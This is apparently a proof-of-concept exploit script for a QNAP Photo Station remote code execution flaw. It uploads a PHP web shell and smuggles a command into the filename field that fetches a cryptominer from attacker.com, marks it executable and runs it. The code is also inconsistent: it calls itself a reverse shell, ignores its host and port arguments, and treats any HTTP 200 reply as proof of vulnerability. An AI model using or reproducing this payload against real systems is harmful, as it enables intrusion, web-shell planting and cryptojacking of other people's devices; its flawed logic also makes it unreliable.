CVE-2017-20210

#!/usr/bin/env python3 # CVE-2017-20210 PoC - QNAP Photo Station Remote Code Execution # Target: QNAP Photo Station versions 5.2.7 and 5.4.1 # Note: This PoC is for educational and authorized testing purposes only import requests import sys TARGET_IP = "target_ip" TARGET_PORT = 8080 PHOTO_STATION_PATH = "/photo/api/upload.php" def check_vulnerability(target): """Check if target is running vulnerable Photo Station""" try: url = f"http://{target}:{TARGET_PORT}/photo/" response = requests.get(url, timeout=10) if "Photo Station" in response.text or response.status_code == 200: return True except requests.RequestException: pass return False def exploit(target, lhost, lport): """Exploit CVE-2017-20210 to execute reverse shell""" # Construct malicious payload for XMR mining program download # The vulnerability allows command injection through file upload payload = { 'filename': f"'; wget http://attacker.com/xmr_miner.sh -O /tmp/miner.sh && chmod +x /tmp/miner.sh && /tmp/miner.sh #{'", 'file': ('malicious.php', '<?php system($_GET["cmd"]); ?>', 'application/octet-stream') } try: url = f"http://{target}:{TARGET_PORT}{PHOTO_STATION_PATH}" response = requests.post(url, files=payload, timeout=30) if response.status_code == 200: print("[+] Payload sent successfully") print("[+] Check for XMR miner installation on target") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] print(f"[*] Checking target: {target}") if check_vulnerability(target): print("[+] Target appears to be vulnerable") exploit(target, "attacker_ip", 4444) else: print("[-] Target does not appear to be vulnerable")

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